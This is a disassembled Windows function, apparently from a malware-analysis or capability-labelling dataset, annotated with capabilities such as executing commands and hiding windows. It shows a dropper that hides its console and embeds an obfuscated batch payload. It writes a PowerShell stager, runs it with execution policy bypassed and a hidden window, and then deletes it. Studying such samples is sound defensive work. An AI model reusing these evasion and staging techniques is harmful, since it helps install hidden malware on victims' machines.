Function at 0x1d65f15c9
Capabilities:
Delete file
Execute command
Hide graphical window
Set registry value

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x420
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1d668db60
mov ecx, 0x45a02
call sym.operator_new___unsigned_long_long_
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov rcx, rax
lea rax, str.start__min__b_cmd__c__set___rem_r_nset__R2J3SWtYsobdOyetobdOy_obdOycobdOyGobdOy5SobdOyYQobdOyobdOy1obdOy_obdOyobdOy_sobdOytarobdOyt__obdOy__obdOy_obdOyminobdOy_obdOy__r_nset__cXFjRFdzobdOy_obdOyeobdOyxitobdOy__r_nset__YlNWeGxonobdOyotobdOy_dobdOyefiobdOynobdOyeobdOyd_obdOycGobdOy5SYobdOyQobdOyobdOy_r_nif__YlNWeGxo:obdOy____R2J3SWtY:obdOy__0__cXFjRFdz:obdOy___r_n::4FfAg49u4tDQWBnCn1txXevAhfbAskJAKXJTPIfE6V9Bxxd5vyDZVCOOzVSL5KEUv0NEjRBoVNKrNOywMftI3uM0ahEd3IvZYdMecW8_14GL3zEds4492rUoMFUgpjUAhc5ZYsYt806HQ11SALj0UjNN65yMvpeqWHUG2BgYGE7KHPgC0y0fZGfTOqtr4je3e4ezsG4Ho_MWs3gOyvfYjr4U9vNcHtSTegTEu9s6csgH_4V7S1JpKzYz7aYhgJw_j9bLCKiWhoaADe69uUUn04esoLn2WWosU8NiPchFFAKOnmA1aEUlzLfuh3QZLUFenUWUmxumTVOCybTW5LBmHRmEDR5Lu3BQtpszU6QwJXxYJ3o1SmPRVNnbkxkJWuBr6zfNGStCawMsZqgGdGQ9XY5g5vNQwPYlIBnwDGVTHTOnqXyRExnmymgo1HxA0jlTwdoxF81vGlIyvNftbOn8DnmVFHUedTJKMW4RQkLS4t632_Wq2KHSMGzmfh18BXwLPjOiIrm0TwHDzz9XVIjFdbycE7wEo2u8xEkavnuN0REgLx6Psz4B2FkgwpoE6J70Nix8mL4x9Qk6fnLvkrRbXnc0RNUtUaDXAXY5pSgQdBvW84N3XrwEDDtjhlSR_yggF4t4CU3mH638iG3RLPx0sgXksnBqfKliKtAzeudPUoMX5GHB266PG9GF1XoLxQ889GiHX8rVIjzbozucuP3kFkZI4QZsem0ASQc3V7uLO6dRg9rXN1KOt7JF9eBQsUul_RJPold016cC7DccfRRPrygTt3chmnqsoiSJuTNi6_9kyhkiaocT9qagTZdwxCaxZo55hcofo65iK5SKDZaZyDIdlq_NrtbHtcOIjcdzDDV5sqyoeDAWjSlFqwXmhdCriDsEXBZyBlO4gt4UDWcV0BuK2d5jcbAGymkPYmS9Rskm1Gj4lrMaUTo5dp8W7FgqcikVZ6a8LiXTzWPNI8FlNX92Ih51i9zi2TIIkmRTPoB9eK9SYT7NY1oTBUk5VLiowXAEtWtLztVnob7U4rzsTfAWAUDg_eJXV8tlkHjNKyYSxYYWa_spzuC_x68Q0G8MtSYMRzzwuTGwcWFXTDT4eJxwkvyk7oZDirwdfiYXstNjiVIpOpkTzCy3NeuGQb7JP8qDe3oIXUlnTH_nksW7iQUDjfWicHCmNfRXgGYd6mmGxOlRYKksp0yrqHEu9FwTRvCnIlnjYJa5oLFJhukIRqnKB_UCAdXl4BLMAsZUMHO6LVxXvr_je8Emi6PDPvPXFFTYikUxgtsgvarszn2uHE6U0xmfFc4tzQ2wSAGT89hPsMsSUt8z2OlpsL_Rzd5c6VyobqmQ_jhMU51T7uaQ0v4ThTZlBBm8XLfOVrx0QJaX36aBSuIdI6ZLNMuCS7oBLxX9EjQb_A3UU19Lzh6aTtw9qUFZTS1yOPcv5UkMClTINzOe3DgAxhMl4XKGJXImzpzPLLNvc3L6dYUbWidUKbOs5y_Z6txA29QIxlIsXvx36CCYUvDdQXGfY1q_VTndz3FFnk2Q8KZgLnAPP96WEKQA23AFTLrT0VOiLA9TU00cx_eCKsyeUy73atNHGyTR8N3qlTcuGPLCgQRWSwLoHTARqHMw_9h8afIhXNka6_Avxsz3pPfvfJI1hGn0P2wusLuv4kxXm2x3rir5hMQ52iKQEDVxU_JT1Mq7JDQ5SKrEKQxBLw2J1uLFpfXBfpW9KSz3VgbOzyeOmhAGwyY6l8N9sRxF9nNhMbFzD_tlRYPdvbQGSBn_sKKvNuddvjvCHqD6_29TEITvYEvhAUl4f9ezbouS8IXEdkYvqH8eubSqGdLRvN03MKLwYiNZRTgliesGibFZW2oyQfTDO36G4CvsTZ1uMgRcvbFvFg_Kx96MA9tiSRFHiGTUH6DRvWoIENWp81FQmD2F9z3T7OdqaC1EaJhDybLd3wIy6IHjGxWnNJNwnE6rS7tCvLHgAXQ7dg4SCMA47TOGtmgLlieTmJg4n0mxjdH8B6ve8PnaFAIfZclfQ5GgT83gfXCPqckTCVJt36wPBdrNy_UG8ZdzNVG72ALARy3530Rd3az5c6C3jGIXmUK8Khb89k0R6du3iXE109cw5if2soBUffimP_MNirPLPNr8XMxivMwB90n3Qohz9lcZsjkuWdgB9Z7vWlQ1SaHD9rL6DQ0lqhXTBWzRoFDDL7Qk6zDL_ZZJRGf6KDfv5mZJRQdCg1qVRgOThQCS2XsH72en6cI9QUT7Qwhvsy9GJKwvKfNvGzzNQ4xqw5Di6lr4VOSn_BwS8_pe1RHq18Adc7CipiMccHPe9ZMlZidkyzwZbbofpLNNw0Di_3XkDtcvgyvwqp3DlPEU9noOz_kP7wpNdY1JrKHFJ4DcyH5jdWl0ga91EAzk4QKU37sfpndknNm3zOEkgSJ3YSnDwHcsUE33Aj39Hq8v1fGNEfD8JI0qGsaQ1O7f9Ew_gvkE5Vhrd7FGNrDIkeNeAbOlPfL9bQ684QfOgbP7czqX_kJu7xT0of9GVfKK3ND6HcTdb12EhUfY0bfeO6ztztDEkvx7OiP_ZftDrdnspQ4JfFxI4XHpKzpM0sdk_8f6SgY17hUbdlY5BM9qFgqjaaM18eTiFGgcH43D4V7XxWg5Gyq1mpMSRxQm_SLyf8R9STpB_vEMa8stJ4KNlYpBoDbuAXWF_pabUQUWBjdnwgeaSHt4XfsXETKkX5aIff8jb8AIWUyLl7S3eBt2aHpUPad7vZ6ijZoGHaNVEGootNTmr3PTd46jZq1Ms4MpBJAyyrQwJETykS6EbCuJ6PylZByK8DRru_ZRmpiyfhuLLQ9Fjxu0CW2DMMd8K9xSYXOI2VINpLxLTIGWGNfVBy25VnqD_aCfGCWhJPsd0KEe8KPCnkf9dRxkWWUrvDaZov7T6n0_WfVPbPfwPcbp_9CQesC3PwhqMz595pDuZDwpC4jzTPZ0YPCghLZ67ULkD4LIg7KXYvtpvGeu4ZRk2thKTAFrbK7c4XANdv9ZMzscAa6eY4Ru0wWVnYtir22qNxjFGt9cDheWcsZS7Y0j7oDEVFnn81dlkKlhH1ewnvpCgDKQ5GYOItddrK3YWjElzZ6gCrHn5cqKADkxjLrPSn1x6h3Gyuau56QTYnfSUx_XoUQ6opYA2Vu3RDaIyCLSJq0a_2PO9gUtYzsNqx2AymDXoYmrc4w2P4P5zypj3A9A4RqAR78tUvD4VIasgMtrAS1QNFRnx8zSDbPHFTrBzbLpJcAknTxvddz4IfmogI5PKZ0Pt9y0chS9SzRjrgkVSUe1QjH4aDnWtH1taiX0B3eouVkbCbiq3bdLjdEvXiTblmmdxROTdDhYPIAB7rAxnajgoRAe0Mnhx5TnTuMVpQDTNdCh5iJfRgCNlqTA6h25jn0xOg8U8qERHInVQAbkoQiX6bLrCfvDB3a4FAM0ZB3V70jsdOn9mp2cZhJt7lofPXVGARKzC4rVSztevUJVdxAPGbusqilsw_2tEqtIR_NbQBqiF2pHUwvFHwd2y4vVqe1DHSZfR1fqs21T3p2gqzraz74IFrDTvGIREifrFgFM6bsTcB91771Otg1pK59Re6trs6qOZm4c5kT0JRLfqUs9r9fg6maj0bS0ycxpz7bjz50w8
mov edx, 0x45a02
mov r8, rdx
mov rdx, rax
call sym.memcpy
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1d669a090
mov dword [rbp + 0x39c], 0
jmp 0x1d65f16c3
lea rax, [rbp + 0x1a0]
add rax, 0x10
lea rdx, [method.std.hex_std::ios_base_]
mov rcx, rax
call method.std::ostream.operator___std::ios_base____std::ios_base__
mov rbx, rax
mov ecx, 2
call method.std.setw_int_
mov edx, eax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setw_
mov rbx, rax
mov ecx, 0x30
call method.std::_Setfill_char__std.setfill_char__char_
mov edx, eax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setfill_char__
mov rcx, rax
mov eax, dword [rbp + 0x39c]
movsxd rdx, eax
mov rax, qword [rbp + 0x390]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
mov edx, eax
call method.std::ostream.operator___int_
add dword [rbp + 0x39c], 1
cmp dword [rbp + 0x39c], 0x45a01
jle 0x1d65f1651
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call method.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x180]
mov r8, rdx
lea rdx, str._hex___
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x1d66f7a91]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x350]
lea rax, [rbp + 0x330]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x350]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x370]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x330]
lea rdx, str._temp_path___System.IO.Path_::GetTempPath___n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._file_name___System.IO.Path_::GetRandomFileName____.bat_n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._file_path___temp_path___file_name_n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._System.IO.File_::WriteAllBytes__file_path___byte_____hex__split__..___ne_______convert_::toint16_____16_____n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._exec__New_Object__com_shell.application__n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._exec.shellexecute__file_path___n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp - 0x60]
mov r8d, 0x10
lea rdx, str.calc.ps1
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
add rax, 0xd8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x1d65f1856
mov ecx, 0x20
call sym.__cxa_allocate_exception
mov rbx, rax
call method.std::_V2.generic_category__
mov rsi, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
call rax
mov eax, dword [rax]
lea r9, str.Failed_to_create_PowerShell_script_file
mov r8, rsi
mov edx, eax
mov rcx, rbx
call method.std::system_error.system_error_int__std::_V2::error_category_const__char_const_
mov r8, qword [method.std::system_error.system_error__]
lea rax, [0x1d66fff80]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
lea rdx, [rbp + 0x330]
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, str.powershell__ExecutionPolicy_Bypass__WindowStyle_Hidden__File_calc.ps1
mov rcx, rax
call sym.system
lea rax, str.calc.ps1
mov rcx, rax
call sym.remove
cmp qword [rbp + 0x390], 0
je 0x1d65f18ac
mov rax, qword [rbp + 0x390]
mov rcx, rax
call sym.operator_delete___void_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1d669ab70
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1d65f1979
add rsp, 0x420
pop rbx
pop rsi
pop rbp
ret